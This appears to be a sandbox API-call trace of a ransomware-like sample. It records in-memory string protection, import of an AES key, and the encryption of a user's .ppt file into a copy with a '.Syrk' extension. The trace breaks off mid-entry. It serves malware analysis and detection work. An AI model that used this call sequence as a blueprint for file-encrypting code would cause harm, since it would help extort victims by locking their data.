SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0211.413] SystemFunction040 (in: Memory=0x5c91d4c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91d4c) returned 0x0 [0211.413] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0211.413] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0211.413] SystemFunction041 (in: Memory=0x5c91d4c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91d4c) returned 0x0 [0211.413] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0211.413] SystemFunction040 (in: Memory=0x5c91d4c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91d4c) returned 0x0 [0211.413] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0211.413] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0211.413] SystemFunction041 (in: Memory=0x5c91d4c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91d4c) returned 0x0 [0211.413] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0211.413] SystemFunction040 (in: Memory=0x5c91d4c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91d4c) returned 0x0 [0211.414] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0211.414] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0211.414] SystemFunction041 (in: Memory=0x5c91d4c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91d4c) returned 0x0 [0211.414] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0211.414] SystemFunction040 (in: Memory=0x5c91d4c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91d4c) returned 0x0 [0211.414] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0211.414] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0211.414] SystemFunction041 (in: Memory=0x5c91d4c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91d4c) returned 0x0 [0211.414] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0211.414] SystemFunction040 (in: Memory=0x5c91d4c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91d4c) returned 0x0 [0211.414] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0211.414] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0211.414] SystemFunction041 (in: Memory=0x5c91d4c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91d4c) returned 0x0 [0211.415] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0211.415] SystemFunction040 (in: Memory=0x5c91d4c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91d4c) returned 0x0 [0211.415] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0211.415] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0211.415] SystemFunction041 (in: Memory=0x5c91d4c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91d4c) returned 0x0 [0211.415] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0211.415] SystemFunction040 (in: Memory=0x5c91d4c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91d4c) returned 0x0 [0211.415] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0211.415] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0211.416] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0211.416] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0211.416] SystemFunction041 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0211.416] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0211.416] SystemFunction040 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0211.416] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0211.416] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0211.416] SystemFunction041 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0211.416] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0211.416] SystemFunction040 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0211.417] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0211.417] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0211.417] SystemFunction041 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0211.417] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0211.417] SystemFunction040 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0211.417] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0211.417] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0211.417] SystemFunction041 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0211.417] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0211.417] SystemFunction040 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0211.417] EtwEventActivityIdControl () returned 0x0 [0211.418] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0211.418] SystemFunction041 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0211.418] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0211.418] SystemFunction040 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0211.420] CryptAcquireContextW (in: phProv=0x5a2e6f0, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e6f0*=0x5c4d100) returned 1 [0211.423] CryptImportKey (in: hProv=0x5c4d100, pbData=0x2503b4c*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2eae4 | out: phKey=0x5a2eae4*=0x5c93fa0) returned 1 [0211.423] CryptContextAddRef (hProv=0x5c4d100, pdwReserved=0x0, dwFlags=0x0) returned 1 [0211.424] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e850, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0211.424] EtwEventActivityIdControl () returned 0x0 [0211.424] EtwEventActivityIdControl () returned 0x0 [0211.424] EtwEventActivityIdControl () returned 0x0 [0211.567] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\CpTRf.ppt" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\9dbeojadwjynbxb\\cptrf.ppt")) returned 0x20 [0211.568] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\CpTRf.ppt" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\9dbeojadwjynbxb\\cptrf.ppt")) returned 0x20 [0211.568] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\CpTRf.ppt", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4b [0211.568] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\CpTRf.ppt", nBufferLength=0x4b, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\CpTRf.ppt", lpFilePart=0x0) returned 0x4a [0211.571] EtwEventActivityIdControl () returned 0x0 [0211.573] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0211.574] EtwEventActivityIdControl () returned 0x0 [0211.574] EtwEventActivityIdControl () returned 0x0 [0211.574] EtwEventActivityIdControl () returned 0x0 [0211.577] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\CpTRf.ppt", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4b [0211.577] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\CpTRf.ppt", nBufferLength=0x4b, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\CpTRf.ppt", lpFilePart=0x0) returned 0x4a [0211.577] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dfa0) returned 1 [0211.577] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\CpTRf.ppt" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\9dbeojadwjynbxb\\cptrf.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x42c [0211.578] GetFileType (hFile=0x42c) returned 0x1 [0211.578] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2df9c) returned 1 [0211.578] GetFileType (hFile=0x42c) returned 0x1 [0211.578] EtwEventActivityIdControl () returned 0x0 [0211.580] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0211.581] EtwEventActivityIdControl () returned 0x0 [0211.581] EtwEventActivityIdControl () returned 0x0 [0211.581] EtwEventActivityIdControl () returned 0x0 [0211.582] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\CpTRf.ppt.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x50 [0211.582] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\CpTRf.ppt.Syrk", nBufferLength=0x50, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\CpTRf.ppt.Syrk", lpFilePart=0x0) returned 0x4f [0211.582] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dfa0) returned 1 [0211.582] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\CpTRf.ppt.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\9dbeojadwjynbxb\\cptrf.ppt.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x44c [0211.587] GetFileType (hFile=0x44c) returned 0x1 [0211.587] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2df9c) returned 1 [0211.587] GetFileType (hFile=0x44c) returned 0x1 [0211.587] EtwEventActivityIdControl () returned 0x0 [0211.588] CryptGenRandom (in: hProv=0x5c4d100, dwLen=0x10, pbBuffer=0x2517e78 | out: pbBuffer=0x2517e78) returned 1 [0211.589] CryptContextAddRef (hProv=0x5c4d100, pdwReserved=0x0, dwFlags=0x0) returned 1 [0211.589] CryptDuplicateKey (in: hKey=0x5c93fa0, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2e6ec | out: phKey=0x5a2e6ec*=0x5c94020) returned 1 [0211.589] CryptContextAddRef (hProv=0x5c4d100, pdwReserved=0x0, dwFlags=0x0) returned 1 [0211.589] CryptSetKeyParam (hKey=0x5c94020, dwParam=0x4, pbData=0x25191a4*=0x1, dwFlags=0x0) returned 1 [0211.589] CryptSetKeyParam (hKey=0x5c94020, dwParam=0x1, pbData=0x2519170, dwFlags=0x0) returned 1 [0211.590] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0211.590] EtwEventActivityIdControl () returned 0x0 [0211.590] EtwEventActivityIdControl () returned 0x0 [0211.590] EtwEventActivityIdControl () returned 0x0 [0211.592] EtwEventActivityIdControl () returned 0x0 [0211.592] ReadFile (in: hFile=0x42c, lpBuffer=0x251bdec, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e6fc, lpOverlapped=0x0 | out: lpBuffer=0x251bdec*, lpNumberOfBytesRead=0x5a2e6fc*=0x10408, lpOverlapped=0x0) returned 1 [0211.597] CryptEncrypt (in: hKey=0x5c94020, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x252fe04*, pdwDataLen=0x5a2e6f0*=0x10400, dwBufLen=0x10400 | out: pbData=0x252fe04*, pdwDataLen=0x5a2e6f0*=0x10400) returned 1 [0211.696] WriteFile (in: hFile=0x44c, lpBuffer=0x2517f54*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5a2e6d4, lpOverlapped=0x0 | out: lpBuffer=0x2517f54*, lpNumberOfBytesWritten=0x5a2e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0211.698] WriteFile (in: hFile=0x44c, lpBuffer=0x2530df0*, nNumberOfBytesToWrite=0xf414, lpNumberOfBytesWritten=0x5a2e6d4, lpOverlapped=0x0 | out: lpBuffer=0x2530df0*, lpNumberOfBytesWritten=0x5a2e6d4*=0xf414, lpOverlapped=0x0) returned 1 [0211.700] ReadFile (in: hFile=0x42c, lpBuffer=0x251bdec, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e6fc, lpOverlapped=0x0 | out: lpBuffer=0x251bdec*, lpNumberOfBytesRead=0x5a2e6fc*=0x0, lpOverlapped=0x0) returned 1 [0211.700] CryptEncrypt (in: hKey=0x5c94020, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2540210*, pdwDataLen=0x5a2e744*=0x10, dwBufLen=0x10 | out: pbData=0x2540210*, pdwDataLen=0x5a2e744*=0x10) returned 1 [0211.700] CryptEncrypt (in: hKey=0x5c94020, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x254022c*, pdwDataLen=0x5a2e74c*=0x0, dwBufLen=0x10 | out: pbData=0x254022c*, pdwDataLen=0x5a2e74c*=0x10) returned 1 [0211.700] WriteFile (in: hFile=0x44c, lpBuffer=0x2517f54*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x5a2e71c, lpOverlapped=0x0 | out: lpBuffer=0x2517f54*, lpNumberOfBytesWritten=0x5a2e71c*=0x10, lpOverlapped=0x0) returned 1 [0211.700] CloseHandle (hObject=0x44c) returned 1 [0211.703] CloseHandle (hObject=0x42c) returned 1 [0211.704] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0211.704] EtwEventActivityIdControl () returned 0x0 [0211.704] EtwEventActivityIdControl () returned 0x0 [0211.704] EtwEventActivityIdControl () returned 0x0 [0211.712] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\CpTRf.ppt" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\9dbeojadwjynbxb\\cptrf.ppt")) returned 0x20 [0211.715] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\CpTRf.ppt", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4b [0211.715] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\CpTRf.ppt", nBufferLength=0x4b, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\CpTRf.ppt", lpFilePart=0x0) returned 0x4a [0211.715] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0211.715] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0211.715] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0211.715] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0211.716] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0211.716] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0211.716] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0211.716] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0211.716] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0211.716] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0211.716] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0211.716] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0211.716] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents" (normalized: "c:\\users\\keecfmwgj\\documents")) returned 0x11 [0211.717] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents" (normalized: "c:\\users\\keecfmwgj\\documents")) returned 0x11 [0211.717] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1d [0211.717] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents", nBufferLength=0x1d, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents", lpFilePart=0x0) returned 0x1c [0211.717] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30")) returned 0x10 [0211.717] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30")) returned 0x10 [0211.717] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x25 [0211.717] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30", nBufferLength=0x25, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30", lpFilePart=0x0) returned 0x24 [0211.717] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp")) returned 0x10 [0211.717] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp")) returned 0x10 [0211.717] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x31 [0211.717] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP", nBufferLength=0x31, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP", lpFilePart=0x0) returned 0x30 [0211.718] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\9dbeojadwjynbxb")) returned 0x10 [0211.718] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\9dbeojadwjynbxb")) returned 0x10 [0211.718] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x41 [0211.718] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb", nBufferLength=0x41, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb", lpFilePart=0x0) returned 0x40 [0211.718] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\CpTRf.ppt" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\9dbeojadwjynbxb\\cptrf.ppt")) returned 0x20 [0211.718] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\CpTRf.ppt", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4b [0211.718] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\CpTRf.ppt", nBufferLength=0x4b, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\CpTRf.ppt", lpFilePart=0x0) returned 0x4a [0211.722] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\CpTRf.ppt", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4b [0211.722] GetFullPathNameW (in: 